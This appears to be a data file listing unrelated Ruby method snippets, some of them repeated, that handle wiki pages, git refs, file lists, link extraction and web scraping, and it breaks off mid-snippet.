"def gather_internal_refs\n #@files.each.with_object({}) do |(_, x), refs|\n @files.keys.each_with_object({}) do |i, refs|\n #x[:attachment] and next\n @files.get(i,:attachment) and next\n #file, = targetfile(x, read: true)\n file, = @files.targetfile_id(i, read: true)\n Nokogiri::XML(file)\n .xpath(ns(\"//bibitem[@type = 'internal']/\" \\\n \"docidentifier[@type = 'repository']\")).each do |d|\n a = d.text.split(%r{/}, 2)\n a.size > 1 or next\n refs[a[0]] ||= {}\n refs[a[0]][a[1]] = true\n end\n end\n end",
"def refs(ref=nil)\n prefix = ref ? \"#{path_prefix}/refs/#{ref}\" : \"#{path_prefix}/refs\"\n Ghee::API::Repos::Git::Refs::Proxy.new(connection, prefix)\n end",
"def pages\n @pages ||= source.map {|path| Page.new(self, path) }\n end",
"def page_files\n @page_files ||= (Dir.glob (Pathname.pwd.join(\"pages\", \"*.md\"))).sort\n end",
"def files(treeish = nil)\n tree_list(treeish || @ref, false, true)\n end",
"def files_contents(files, ref)\n files.each do |file|\n begin\n return file_contents(file, ref)\n rescue FileNotFoundError\n next\n end\n end\n raise FileNotFoundError,\n \"Couldn't find any of #{files} files\"\n end",
"def pages(url)\n urls = Array.new\n data = Array.new \n data << Nokogiri::HTML(ScraperWiki.scrape(url))\n data[0].css('p.pages a').each do |link|\n urls << editUrl(link.attribute(\"href\").to_s())\n end\n\n urls.uniq.each do |link|\n data << Nokogiri::HTML(ScraperWiki.scrape(link))\n end\n\n return data\nend",
"def pages(url)\n urls = Array.new\n data = Array.new \n data << Nokogiri::HTML(ScraperWiki.scrape(url))\n data[0].css('p.pages a').each do |link|\n urls << editUrl(link.attribute(\"href\").to_s())\n end\n\n urls.uniq.each do |link|\n data << Nokogiri::HTML(ScraperWiki.scrape(link))\n end\n\n return data\nend",
"def resolve_references(obj)\n case obj\n when PDF::Reader::Stream then\n obj.hash = resolve_references(obj.hash)\n obj\n when PDF::Reader::Reference then\n resolve_references(@xref.object(obj))\n when Hash then obj.each { |key,val| obj[key] = resolve_references(val) }\n when Array then obj.collect { |item| resolve_references(item) }\n else\n obj\n end\n end",
"def wiki_pages(project, on_page = nil)\n opts = {}\n opts[:page] = on_page if on_page\n fetch_all(\"projects/#{project}/features/wiki/pages\", 'pages', opts)\n end",
"def retrieve_pages(dir, dot_pages); end",
"def pages=(_arg0); end",
"def pages_to_list\n # sort by fullpath first\n list = self.pages.values.sort { |a, b| a.fullpath <=> b.fullpath }\n # sort finally by depth\n list.sort { |a, b| a.depth <=> b.depth }\n end",
"def pages_to_list\n # sort by fullpath first\n list = self.pages.values.sort { |a, b| a.fullpath <=> b.fullpath }\n # sort finally by depth\n list.sort { |a, b| a.depth <=> b.depth }\n end",
"def find_all(repo, options = {})\n refs = []\n already = {}\n Dir.chdir(repo.path) do\n files = Dir.glob(prefix + '/**/*')\n files.each do |ref|\n next if !File.file?(ref)\n id = File.read(ref).chomp\n name = ref.sub(\"#{prefix}/\", '')\n commit = Commit.create(repo, :id => id)\n if !already[name]\n refs << self.new(name, commit)\n already[name] = true\n end\n end\n\n if File.file?('packed-refs')\n File.readlines('packed-refs').each do |line|\n if m = /^(\\w{40}) (.*?)$/.match(line)\n next if !Regexp.new('^' + prefix).match(m[2])\n name = m[2].sub(\"#{prefix}/\", '')\n commit = Commit.create(repo, :id => m[1])\n if !already[name]\n refs << self.new(name, commit)\n already[name] = true\n end\n end\n end\n end\n end\n\n refs\n end",
"def extract_pages_list\n if @page\n if @page.wikitopdf_toc_page && @page.wikitopdf_toc_page.istoc\n [ url_by_page(@page) ] + pages_from_toc(@page)\n else\n [ url_by_page(@page) ] + pdf_page_hierarchy(@page.id)\n end\n else\n pdf_page_hierarchy(nil)\n end\n end",
"def add_refs(commit, ref_cache)\n if ref_cache.empty?\n @repo.refs.each {|ref| ref_cache[ref.commit.id] ||= [];ref_cache[ref.commit.id] << ref}\n end\n commit.refs = ref_cache[commit.id] if ref_cache.include? commit.id\n commit.refs ||= []\n end",
"def initialise(*url)\n @urls = [] \n list = File.open('url_list').each do |url|\n puts url\n doc = Nokogiri::HTML(open(url)) \n @urls.push(doc)\n end\n end",
"def prepare()\n @pages = {}\n @files = {}\n @layouts = {}\n\n @commit = @version == :working ? @wiki.repo.head.commit : @wiki.repo.commit(@version)\n items = self.ls(@version)\n\n items.each do |item|\n filename = ::File.basename(item.path)\n dirname = ::File.dirname(item.path)\n if filename =~ /^_Layout.html/\n # layout\n @layouts[item.path] = ::Liquid::Template.parse(item.data)\n elsif @wiki.page_class.valid_page_name?(filename)\n # page\n page = @wiki.page_class.new(@wiki)\n blob = OpenStruct.new(:name => filename, :data => item.data)\n page.populate(blob, dirname)\n page.version = @commit\n\n if @preserve_tree\n key = [::File.dirname(item.path).gsub(/^\\./, \"\").gsub(/\\//, ' '), page.name].join(\" \").strip.downcase\n else\n key = page.name.downcase\n end\n @pages[key] = page\n else\n # file\n @files[item.path] = item.data\n end\n end\n end",
"def file_references\n return unless @command == :download_file_list\n\n @file_references ||= begin\n xml = xml_doc content\n descriptors = xml.css('FileDescriptor')\n descriptors.map { |descriptor| descriptor.at('FileReference').content }\n end\n end",
"def tree_map_for(ref, ignore_page_file_dir = false)\n if ignore_page_file_dir && !@page_file_dir.nil?\n @root_access ||= GitAccess.new(path, nil, @repo_is_bare)\n @root_access.tree(ref)\n else\n @access.tree(ref)\n end\n rescue Gollum::Git::NoSuchShaFound\n []\n end",
"def ref_into_url(base, project, ref)\n\t\tcase ref\n\t\t\twhen /\\[(\\b[0-9a-f]{5,40}\\b)\\]/:\n\t\t\t\t[rev_url(base, project, $1), :changeset]\n\n\t\t\twhen /r(\\d+)/:\n\t\t\t\t[rev_url(base, project, $1), :changeset]\n\n when /changeset:(\\w+)/:\n [rev_url(base, project, $1), :changeset]\n\n when /commit:(\\w+)/:\n [rev_url(base, project, $1), :changeset]\n\n\t\t\twhen /\\#(\\d+)/:\n\t\t\t\t[bug_url(base, project, $1), :ticket]\n\n when /wiki:(\\S+\\#?\\S+)/:\n [wiki_url(base, project, $1), :wiki]\n\t\tend\n\tend",
"def get_all_pdfs\n r = Array.new\n \n p_list = get_party_list(Start_Uri)\n p_list.each do |l1|\n a_list = get_alphabet_list(Parent_Uri + \"/\" + l1[0])\n a_list.each do |l2|\n m_list = get_member_list(Parent_Uri + \"/\" + l2[0])\n m_list.each do |l3|\n l3[0] = Parent_Uri + \"/\" + l3[0]\n l3[2] = l1[1]\n r += [l3]\n end\n end\n end\n\n return r\n end",
"def index\n if params[:ref_name]\n if ref = @repository.branches.where(name: params[:ref_name]).first\n @branch = ref\n elsif ref = @repository.tags.where(name: params[:ref_name]).first!\n @tag = ref\n end\n else\n @branch = ref = @repository.default_branch\n end\n\n commits_page = (params[:page] || 1).to_i\n commits_page = 1 if commits_page < 1\n parent_commits = ref.commit.walk_parents((commits_page - 1) * 20, 21)\n @commits = parent_commits[0, 20]\n\n @next_page = parent_commits[20] ? commits_page + 1 : nil\n @previous_page = (commits_page > 1) ? commits_page - 1 : nil\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @commits }\n end\n end",
"def refs\n @refs ||= load_refs\n end",
"def path_list(doc, reference, word)\n reset\n #Where the word and ref don't match and it\n #looks like a Class name switch to it.\n if reference != word\n if word =~ /^[A-Z]/\n reference = word\n end\n end\n\n type = find_type(doc, reference)\n\n return [] unless type\n\n paths = imported_class_to_file_path(doc, type)\n\n #If we searched any superclasses their paths have been stored\n @loaded_documents.each { |path|\n f = File.open(path,\"r\" ).read.strip\n paths << imported_class_to_file_path(strip_comments(f), type)\n }\n\n create_src_list()\n existing_paths = []\n\n @src_dirs.each do |d|\n\n paths.flatten.uniq.each do |path|\n\n uri = d.chomp + \"/\" + path.chomp\n as = \"#{uri}.as\"\n mx = \"#{uri}.mxml\"\n\n if File.exists?(as)\n existing_paths << as\n elsif File.exists?(mx)\n existing_paths << mx\n end\n\n end\n\n end\n\n return { :paths => existing_paths.uniq, :type => type }\n\n end",
"def plugin_refs(ref: nil, depth: 0)\n return [] if depth > 2\n\n introspector = LiquidTagFinder.new(content)\n plugin_names = introspector.plugin_names\n collector = plugin_names.empty? ? [] : [[plugin_names[0], ref]]\n introspector.partial_refs.each do |partial, child_ref|\n child_partial = LiquidPartial.where(title: partial).first\n next if child_partial.blank?\n\n collector += child_partial.plugin_refs(ref: child_ref, depth: depth + 1)\n end\n collector.uniq\n end",
"def get_possible_uris(page)\n\n @wiki_full_uri = getWikiRepositoryUrl\n\n @uri = URI.parse(@wiki_full_uri)\n\n pageName = page.data['wikiPageName'] # Page name\n\n @patterns = []\n\n # page name can have different working forms ranging from \"page name\" to \"Page-Name\"\n possible_name = [pageName]\n # normalize to lowercase and - as separator\n possible_name += [pageName.gsub(' ', '-').downcase] #page-name\n possible_name += camel_case(pageName, '-') #Page-name + Page name\n possible_name += camel_caps(pageName, '-') #Page-Name + Page Name\n possible_name += [pageName.gsub('-', ' ').downcase] #page name\n\n possible_name.uniq.each do |name|\n @patterns += [\n # possible WORKING internal links patterns that can be found in wiki pages\n # [link text](https://github.com/userName/RepositoryName/wiki/Page-name)\n @wiki_full_uri + '/' + name,\n # [link text](https://github.com/userName/RepositoryName/wiki/Page-name/) trailing slash\n @wiki_full_uri + '/' + name + '/',\n # [link text](/userName/RepositoryName/wiki/Page-name)\n @uri.path + '/' + name,\n # [link text](/userName/RepositoryName/wiki/Page-name/) trailing slash\n @uri.path + '/' + name + '/',\n # [link text](Page-name)\n name\n ]\n end\n\n # Home page has two other patterns that are the wiki root url with no page name\n # because Home is the default page\n if pageName.downcase == 'home'\n @patterns += [\n # home page direct uris\n # [link text](https://github.com/userName/RepositoryName/wiki)\n @wiki_full_uri,\n # [link text](https://github.com/userName/RepositoryName/wiki) trailing slash\n @wiki_full_uri + '/',\n # [link text](/userName/RepositoryName/wiki)\n @uri.path,\n # [link text](/userName/RepositoryName/wiki) trailing slash\n @uri.path + '/'\n ]\n end\n\n return @patterns\n end",
"def xref_urls\n xrefs.flat_map { |type, values|\n name = :\"xref_url_for_#{type.tr(\"-\", \"_\")}\"\n respond_to?(name, true) && xref_map(values, name) || values.to_a\n }\n end",
"def get_mag_index_pages(mag_url)\n links = []\n doc = Nokogiri::HTML(open(mag_url, :allow_redirections => :safe)) \n doc.css(\"a[href]\").each do |p|\n if p.attribute('href').to_s.include? \"#issues\"\n links.push(p.attribute('href').to_s)\n end\n end\n # the link of the actual url is not in the array. it needs to be,\n # since this is the first page that index issues.\n links.push(mag_url)\n return links.uniq\nend",
"def collect_pages\n #find page terminator\n start_line = 0\n current_line = 0\n @lines.each_with_index do |line, i|\n current_line = i\n if end_of_page?(line, i)\n @pages << Page.new(start_line, i) # every page in raw document\n start_line = i + 1 \n end \n end #end of line.each\n \n if current_line > start_line\n page = Page.new(start_line, current_line)\n @pages << page\n end\n #puts \" collect_pages found #{@pages.length} pages\"\n @pages \n end",
"def get_refs(way)\n return [] if !way.tags.has_key?('ref')\n return way.tags['ref'].split(/(;|,)/).collect {|ref| ref.strip}\n end",
"def update!(**args)\n @page_refs = args[:page_refs] if args.key?(:page_refs)\n end",
"def read(files)\n files.map do |page|\n @unfiltered_content << Page.new(@site, @site.source, @dir, page)\n end\n @unfiltered_content.select { |page| site.publisher.publish?(page) }\n end",
"def references\n @data[:refs].map { |ref|\n ref[:id] = nil\n ref[:doi] = nil if ref[:doi].nil?\n ref[:volume] = nil if ref[:volume].nil?\n ref[:journal_name] = nil if ref[:journal_name].nil?\n RefEm::Entity::Reference.new(ref)\n }\n end",
"def index (path = \".\")\n files = Array.new\n # search path and fill with files\n Dir.foreach(path) do |entry|\n if File.file?(path + \"/\" + entry)\n if entry.length > 5 && entry[-5..-1] == \".whip\"\n files.push(Whip::File.new(path + \"/\" + entry, path + \"/\" + entry[0...entry.rindex(\".\")] + \".html\"))\n end \n end\n end\n return files\n end",
"def pages(treeish = nil)\n tree_list(treeish || 'master')\n end",
"def reference_list\n return @reference_list unless @reference_list.nil?\n io = _parent._parent._io\n _pos = io.pos\n io.seek(ofs_reference_list)\n @reference_list = ReferenceList.new(io, self, @_root, num_references)\n io.seek(_pos)\n @reference_list\n end",
"def replace_refs\n doc.xpath('.//ref').each_with_index.map do |node, index|\n text = node.inner_html\n\n ref_node = create_ref_node(node, index + 1)\n node.replace(ref_node)\n\n text\n end\n end",
"def crawl(pages, depth=2)\n depth.times do\n new_pages = Set.new\n pages.each do |page|\n begin\n doc = Hpricot(open(page))\n rescue\n printf \"Could not open %s\\n\", page\n next\n end\n \n add_to_index(page, doc)\n \n (doc/'a').each do |link|\n if link['href']\n url = URI.join(page, link['href']).to_s\n next if url =~ /'/\n url = url.split('#').first # drop the fragment\n if url[0,4] == 'http' and not is_indexed(url)\n new_pages << url\n end\n link_text = get_text_only(link)\n add_link_ref(page, url, link_text)\n end\n end\n end\n \n pages = new_pages\n end\n end",
"def snapshots\n return @snapshots if @snapshots\n\n @snapshots = []\n @files.each do |f|\n io = File.open(f)\n\n begin\n @parser.read(io)\n @snapshots << @parser.snapshot\n rescue EOFError => e\n puts \"#{e.inspect}\\n#{f}\"\n end\n end\n\n return @snapshots\n end",
"def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end",
"def posts\n return @posts if defined? @posts\n\n diffable_files = `git diff -z --name-only --diff-filter=ACRTUXB origin/master -- content/changes/`.split(\"\\0\")\n\n @posts = diffable_files.select do |filename|\n ext = File.extname(filename)\n ext == \".md\" || ext == \".html\"\n end\nend",
"def pages_data\n\n config_data = get_config_data\n\n all_data_files = Dir.glob(\"../#{ROOT_DIR}/lib/views/source/#{config_data[\"templates_page\"]}/**/*.json\")\n\n pageData_files = []\n\n all_data_files.map { |data| \n\n data_name = data.split(\"/\")[-1]\n pageData_files.push(\n {\n \"file_name\": data_name,\n \"link_name\": data_name.sub(\"~\", \"__\").chomp(\".json\"),\n \"label\": data_name.sub(\"~\", \" \").chomp(\".json\")\n }\n )\n }\n\n return pageData_files\n end",
"def fetch_page_nodes\n (1..12).each do |file_name|\n body = File.open(\"#{Rails.root}/lib/wayfair_batch/#{file_name}.html\")\n @page_nodes.push(Nokogiri::HTML(body))\n end\n end",
"def locate_internal_refs\n #require 'debug'; binding.b\n refs = gather_internal_refs\n #@files.keys.reject { |k| @files[k][:attachment] }.each do |identifier|\n @files.keys.reject { |k| @files.get(k,:attachment) }.each do |identifier|\n #id = @c.decode(@isodoc.docid_prefix(\"\", identifier.dup))\n #locate_internal_refs1(refs, identifier, @files[id])\n id = @isodoc.docid_prefix(\"\", identifier.dup)\n locate_internal_refs1(refs, identifier, id)\n end\n refs.each do |schema, ids|\n ids.each do |id, key|\n key == true and refs[schema][id] = \"Missing:#{schema}:#{id}\"\n end\n end\n refs\n end",
"def extract_pagelinks(text)\n\tpagelinks = text.scan(/(?<=\\[\\[)[^a-z*:|File:][^\\]|#]*(?=\\|)|(?<=\\[\\[)[^a-z*:|File:][^\\]|#]*(?=\\]\\])/)\n\tpagelinks = pagelinks.uniq unless pagelinks.uniq.nil?\nend",
"def _find_links_in_markdown_tree markdown_tree_node\n case markdown_tree_node.type\n when :a\n links = [markdown_tree_node.attr['href']]\n when :img\n links = [markdown_tree_node.attr['src']]\n else\n links = []\n end\n markdown_tree_node.children.each { |child| links.concat _find_links_in_markdown_tree child }\n return links\nend",
"def parse_references\n globbed_references = body.scan(/(.*?\\))/)\n\n globbed_references.each do |reference|\n url = reference.first.scan(/(?<=\\().*(?=\\))/).first\n next unless url\n\n if url.include?('users')\n # Do nothing for now when it's a mention of a user\n # FIXME - this is junk\n elsif url.include?('ideas') && idea = Idea.find_by_sha(url.gsub('/ideas/', ''))\n # When this is an idea we know about, make a hard link\n self.idea_references.build(:referenced_id => idea.id)\n else\n # Just leave it in the body without doing anything.\n end\n end\n end",
"def snapshots\n return @snapshots if @snapshots\n\n @snapshots = []\n @files.each do |f|\n io = File.open(f)\n @parser.read(io)\n @snapshots << @parser.snapshot\n end\n\n return @snapshots\n end",
"def ingest_pages\n @table_of_contents.unique_pages.each_with_index do |entry, index|\n label = entry ? Utils.xml_escape(entry.title) : \"Page #{index + 1}\"\n @component_objects.push ingest_page(entry.image_filename, label, index + 1)\n end\n\n if @manifest.embargo\n @component_objects.each do |pid|\n @drupal_db.add_embargo pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n end\n end",
"def rearrange_docs!\n docs_table = {}\n custom_order = {}\n\n # pre-sort to normalize default array across platforms and then proceed to create a Hash\n # from that sorted array.\n docs.sort.each do |doc|\n docs_table[doc.relative_path] = doc\n end\n\n metadata[\"order\"].each do |entry|\n custom_order[File.join(relative_directory, entry)] = nil\n end\n\n result = Jekyll::Utils.deep_merge_hashes(custom_order, docs_table).values\n result.compact!\n self.docs = result\n end",
"def issues\n @issues ||=\n output\n .fetch(:files, [])\n .flat_map { |file| create_issues_from(file) }\n end",
"def links\n\t\t\tlinks = {}\n\t\t\tself.page_files(true).each do |p|\n\t\t\t\tpage = Page.new(p)\n\t\t\t\tlinks[page.base_dir] = page.url\n\t\t\tend\n\t\t\tlinks\n\t\tend",
"def dir_git(git,branch='master',reg=nil)\n path = http_uri + git + '/trees/master' \n raw = raw_file(path)\n # find all files\n array = Array.new\n reg = Regexp.new(reg) if reg.is_a?(String)\n raw.scan(/file.*\\n.*<a href=\"\\/.*>(.*)<\\/a>.*<\\/td>/) do |name|\n if reg\n array << name.to_s if name.to_s.match(reg)\n else \n array << name.to_s\n end\n end\n return array\n end",
"def buildParentReadMeIndex\n x = 0\n fileOutArr = Array.new\n\n # Build list of reference pages\n fileOutArr.push \"### Fn Command Reference\\n\\n\"\n @cmdListArr.each do |command|\n # Add each command to output\n fileOutArr.push \"[\" + command + \"](ref/\" + @fileNameArr[x] + \".md\" + \") \\n\"\n x = x + 1 # Counter for syncing arrays\n end\n \n # Add Fn Version\n fileOutArr.push(\"\\n<sub>\" + @fnVersion + \"</sub>\")\n\n\n # Write REFLIST.md file to disk\n puts \"Writing: \" + \"REFLIST\" + \".md\"\n File.open(\"REFLIST.md\", \"w\") do |f|\n f.puts(fileOutArr)\n end\n\n end",
"def pages\n @pages ||= get_pages\n end",
"def nymag_pages(uri)\n require 'open-uri'\t\t# handles url's as files\n require 'hpricot' \t\t# html parsing: http://code.whytheluckystiff.net/hpricot/\n hpr = Hpricot(open(uri))\n pages = \"<p>wbstrp'd from: <code><a href='#{uri}'>#{uri}</a></code></p>\"\n links = hpr/(\"div.page-navigation\")/\"li/a\"\n pages << (hpr.at(\"div#main\")).to_html # just the contents of this div\n links[1..-2].each { |l|\n hpr = Hpricot(open(l[:href]))\n page = (hpr.at(\"div#main\"))\n (page/(\"div.page-navigation\")).remove\n (page/(\"script\")).remove\n (page/(\"div#article-related\")).remove\n (page/(\"div#article-tools\")).remove\n pages << page.to_html\n }\n pages\nend",
"def referenced_files\r\n\t\t(\r\n\t\t\t[file] +\r\n\t\t\t%w[sourcepath importfile].flat_map do |att|\r\n\t\t\t\tfind(att=>/./).flat_map do |asset|\r\n\t\t\t\t\tasset[att].values.compact.map do |path|\r\n\t\t\t\t\t\tpath.sub!(/#.+/,'')\r\n\t\t\t\t\t\tabsolute_path(path) unless path.empty?\r\n\t\t\t\t\tend.compact\r\n\t\t\t\tend\r\n\t\t\tend +\r\n\t\t\tfind.flat_map do |asset|\r\n\t\t\t\tasset.properties.select{ |name,prop| prop.type=='Texture' }.flat_map do |name,prop|\r\n\t\t\t\t\tasset[name].values.compact.uniq.map{ |path| absolute_path(path) }\r\n\t\t\t\tend\r\n\t\t\tend +\r\n\t\t\tfind(_type:'Text').flat_map do |asset|\r\n\t\t\t\tasset['font'].values.compact.map{ |font| absolute_path(font) }\r\n\t\t\tend +\r\n\t\t\t@doc.xpath('/UIP/Project/Classes/*/@sourcepath').map{ |att| absolute_path att.value }\r\n\t\t).uniq\r\n\tend",
"def generate_pub_list(publications)\n # sorting bibliography, first on how many files (notes etc), and then on citekey\n # it's weird [0][1] because in the sort above, it gets transformed first to a hash and then to an array. don't ask me :)\n # this way of trying to sort on two different criteria is not perfect, but mostly works\n \n # make hash if bibtex, if array leave alone, this allows for sorting\n pubs = publications.class == BibTeX::Bibliography ? publications.to_hash.sort[0][1] : publications\n\n pubsort = pubs.sort do |x,y| \n if debrace(y[:hasfiles]).to_s.strip.size == debrace(x[:hasfiles]).to_s.strip.size\n x[:key].to_s <=> y[:key].to_s\n else\n debrace(y[:hasfiles]).to_s <=> debrace(x[:hasfiles]).to_s\n end\n end\n\n # adding each item to the HTML output, properly formatted\n outcit = ''\n pubsort.each do |item| \n link = item[:hasfiles].to_s.index(\"H\") ? \"<a href = '/wiki/ref:#{item[:key]}'>\" : \"\" # only link if ref exists\n outcit << \"<tr><td>#{link}#{item[:key]}</a></td><td>#{debrace(item[:hasfiles]).split(\"\").join(\"</td><td> \")}</td><td>#{debrace(item[:cit])}</td></tr>\\n\"\n end\n return outcit\nend",
"def get_imageinfo(files,props = :imageinfo)\n result=Array.new\n \n iiprop=CGI.escape(\"timestamp|user|url|dimensions|comment\")\n doc=Nokogiri::XML(open(\"http://commons.wikipedia.org/w/api.php?format=xml&action=query&prop=#{props.to_s}&titles=#{files}&iiprop=#{iiprop}\"))\n\n xp=\"//api/query/pages/page/imageinfo/ii\"\n xp=\"//api/query/pages/page/globalusage/gu\" if props==:globalusage\n\n ctr=0\n element=doc.xpath(xp).each do |element| \n img=Hash.new\n element.attributes.each do |a|\n img[a[0].to_sym]=element.get_attribute(a[0])\n end \n result << img\n \n @stockpile[\"#{@imagelist[ctr]}\"]=Hash.new unless @stockpile[\"#{@imagelist[ctr]}\"]\n @stockpile[\"#{@imagelist[ctr]}\"][props]=img\n ctr=ctr+1\n end\n result\n end",
"def expand_reference(ref, channel)\n\t\tdebug \"Expanding reference #{ref} in #{channel}\"\n base = base_url(channel)\n project = project_channel(channel)\n\n\t\t# If we're not in a channel with a mapped base URL...\n\t\treturn \"I don't know about Redmine URLs for this channel - please add a channelmap for this channel\" if base.nil?\n\n # If we're in a channel without a mapped project...\n return \"I don't have a project map for this channel - please add a projectmap for this channel\" if project.nil?\n\n debug \"The base url for #{channel} and #{project} is #{base}\"\n\n\t\tbegin\n\t\t\turl, reftype = ref_into_url(base, project, ref)\n\t\t\tcss_query = css_query_for(reftype)\n\n\t\t\tcontent = unless css_query.nil?\n\t\t\t\t# Rip up the page and tell us what you saw\n page_element_contents(base, url, css_query, reftype)\n else\n\t\t\t\t# We don't know how to get meaningful info out of this page, so\n\t\t\t\t# just validate that it actually loads\n\t\t\t\tpage_element_contents(url, 'h1')\n\t\t\t\tnil\n\t\t\tend\n\n\t\t\t[url, content]\n\t\trescue InvalidRedmineUrl => e\n\t\t\terror(\"InvalidRedmineUrl returned: #{e.message}\")\n\t\t\treturn [nil, \"I'm afraid I don't understand '#{ref}' or I can't find a page for it. Sorry.\"]\n\t\trescue Exception => e\n\t\t\terror(\"Error (#{e.class}) while fetching URL #{url}: #{e.message}\")\n\t\t\te.backtrace.each {|l| error(l)}\n\t\t\treturn [nil, \"#{url} #{e.message} #{e.class} - An error occured while I was trying to look up the URL. Sorry.\"]\n\t\tend\n\tend",
"def list_files repos\n raise \"required repository name\" unless repos\n res = HTTPClient.get_content(\"https://github.com/#{repos}/downloads\", {\n \"login\" => @login,\n \"token\" => @token\n })\n Nokogiri::HTML(res).xpath('id(\"manual_downloads\")/li').map do |fileinfo|\n obj = {\n :description => fileinfo.at_xpath('descendant::h4').text.force_encoding('BINARY').gsub(/.+?\\xe2\\x80\\x94 (.+?)(\\n\\s*)?$/m, '\\1'),\n :date => fileinfo.at_xpath('descendant::p/time').attribute('title').text,\n :size => fileinfo.at_xpath('descendant::p/strong').text,\n :id => /\\d+$/.match(fileinfo.at_xpath('a').attribute('href').text)[0]\n }\n anchor = fileinfo.at_xpath('descendant::h4/a')\n obj[:link] = anchor.attribute('href').text\n obj[:name] = anchor.text\n obj\n end\n end",
"def inject_nav(pages)\n len = pages.length\n if len > 1\n pages[0].data['next'] = pages[1].basename\n pages[len-1].data['prev'] = pages[len-2].basename\n pages.each_cons(3) { |pages|\n pages[1].data['prev'] = pages[0].basename\n pages[1].data['next'] = pages[2].basename\n }\n end\n end",
"def files\n [@nuspec_file, @changelog_file, @readme_file]\n end",
"def files\n [@nuspec_file, @changelog_file, @readme_file]\n end",
"def traverse\n return [nil, [], []] if project.barerepo.empty?\n images = []\n directories = []\n readme = nil\n dump_show_img\n rugged_tree.each do |item|\n next if item[:name][0] == '.'\n dest = path.nil? ? item[:name] : File.join(path, item[:name])\n if item[:type] == :blob\n readme = get_readme(item[:oid]) if item[:name] =~ /^readme/i\n resize_image(project.barerepo.read(item[:oid]).data, dest)\n images << { dest: dest, name: item[:name] }\n else\n directories << { dest: dest, name: item[:name] }\n end\n end\n [readme, images, directories]\n end",
"def fetch_feature_docs\n docs=[]\n d = Dir[@source + \"/*.xml\"]\n #puts d.inspect\n\n d.entries.each do |file|\n docs << file\n end\n #puts docs.inspect\n docs\n end",
"def pages_from_toc page\n page.content.text.split(\"\\r\\n\").\n reject { |s| s.empty? || s.index(\"[[\") == nil }.\n map { |s| s.gsub(/.*\\[\\[(.*)\\]\\].*/, '\\1') }.\n map { |s| wiki_page_by_pretty_title(page.wiki,s) }.\n map { |wp| url_by_page(wp) }\n end",
"def vdoc_links\n return @link_set if defined? @link_set\n \n @link_set = Set.new\n pages.each {|page| @link_set << page.display_name }\n @link_set\n end",
"def collect_subpages_for_page2(data)\n stack, subpages = [], []\n stack << data\n begin\n element = stack.shift\n element.each do |e| \n if e.kind_of?(Hash)\n stack << e[:content]\n elsif e.kind_of?(String)\n next if e.nil? or e.empty?\n e.gsub(/\\\\input\\{/) do |c| \n filename = e.match(/\\\\input\\{([^}]+)\\}/).to_s\n subpages << filename[(filename.index(\"/\")+1)...-1]\n \"\"\n end \n else \n raise \"got something unexpected in raw structure: #{e}\"\n end\n end \n end while !stack.empty?\n return subpages\nend",
"def references\n @references ||= []\n end",
"def marshal_load array\n initialize array[1], nil, array[5]\n\n @full_name = array[2]\n @visibility = array[3] || :public\n @is_alias_for = array[4]\n # 5 handled above\n # 6 handled below\n @parent_name = array[7]\n @parent_class = array[8]\n @section_title = array[9]\n\n @file = RDoc::TopLevel.new array[6]\n end",
"def push(*args, &block)\n reference =\n if args.first.is_a?(PDF::Core::Reference)\n args.first\n else\n PDF::Core::Reference.new(*args, &block)\n end\n\n @objects[reference.identifier] = reference\n @identifiers << reference.identifier\n reference\n end",
"def post_receive_payloads(refs, project=nil)\n\t\tproject ||= @project\n\t\tpayloads = []\n\t\trefs.each do |ref|\n\t\t\toldhead, newhead, refname = ref.split(',')\n\n\t\t\t# Only pay attention to branch updates\n\t\t\tnext if not refname.match(/refs\\/heads\\//)\n\t\t\tbranch = refname.gsub('refs/heads/', '')\n\n\t\t\tif newhead.match(/^0{40}$/)\n\t\t\t\t# Deleting a branch\n\t\t\t\tGitHosting.logger.debug \"Deleting branch \\\"#{branch}\\\"\"\n\t\t\t\tnext\n\t\t\telsif oldhead.match(/^0{40}$/)\n\t\t\t\t# Creating a branch\n\t\t\t\tGitHosting.logger.debug \"Creating branch \\\"#{branch}\\\"\"\n\t\t\t\trange = newhead\n\t\t\telse\n\t\t\t\trange = \"#{oldhead}..#{newhead}\"\n\t\t\tend\n\n\t\t\trevisions_in_range = %x[#{GitHosting.git_exec} --git-dir='#{GitHosting.repository_path(project)}' rev-list --reverse #{range}]\n\t\t\t#GitHosting.logger.debug \"Revisions in Range: #{revisions.split().join(' ')}\"\n\n\t\t\tcommits = []\n\t\t\trevisions_in_range.split().each do |rev|\n\t\t\t\trevision = project.repository.find_changeset_by_name(rev.strip)\n\t\t\t\tcommit = {\n\t\t\t\t\t:id => revision.revision,\n\t\t\t\t\t:url => url_for(:controller => \"repositories\", :action => \"revision\", \n\t\t\t\t\t\t:id => project, :rev => rev, :only_path => false, \n\t\t\t\t\t\t:host => Setting['host_name'], :protocol => Setting['protocol']\n\t\t\t\t\t),\n\t\t\t\t\t:author => {\n\t\t\t\t\t\t:name => revision.committer.gsub(/^([^<]+)\\s+.*$/, '\\1'),\n\t\t\t\t\t\t:email => revision.committer.gsub(/^.*<([^>]+)>.*$/, '\\1')\n\t\t\t\t\t},\n\t\t\t\t\t:message => revision.comments,\n\t\t\t\t\t:timestamp => revision.committed_on,\n\t\t\t\t\t:added => [],\n\t\t\t\t\t:modified => [],\n\t\t\t\t\t:removed => []\n\t\t\t\t}\n\t\t\t\trevision.changes.each do |change|\n\t\t\t\t\tif change.action == \"M\"\n\t\t\t\t\t\tcommit[:modified] << change.path\n\t\t\t\t\telsif change.action == \"A\"\n\t\t\t\t\t\tcommit[:added] << change.path\n\t\t\t\t\telsif change.action == \"D\"\n\t\t\t\t\t\tcommit[:removed] << change.path\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tcommits << commit\n\t\t\tend\n\n\t\t\tpayloads << {\n\t\t\t\t:before => oldhead,\n\t\t\t\t:after => newhead,\n\t\t\t\t:ref => refname,\n\t\t\t\t:commits => commits,\n\t\t\t\t:repository => {\n\t\t\t\t\t:description => project.description,\n\t\t\t\t\t:fork => false,\n\t\t\t\t\t:forks => 0,\n\t\t\t\t\t:homepage => project.homepage,\n\t\t\t\t\t:name => project.identifier,\n\t\t\t\t\t:open_issues => project.issues.open.length,\n\t\t\t\t\t:owner => {\n\t\t\t\t\t\t:name => Setting[\"app_title\"],\n\t\t\t\t\t\t:email => Setting[\"mail_from\"]\n\t\t\t\t\t},\n\t\t\t\t\t:private => 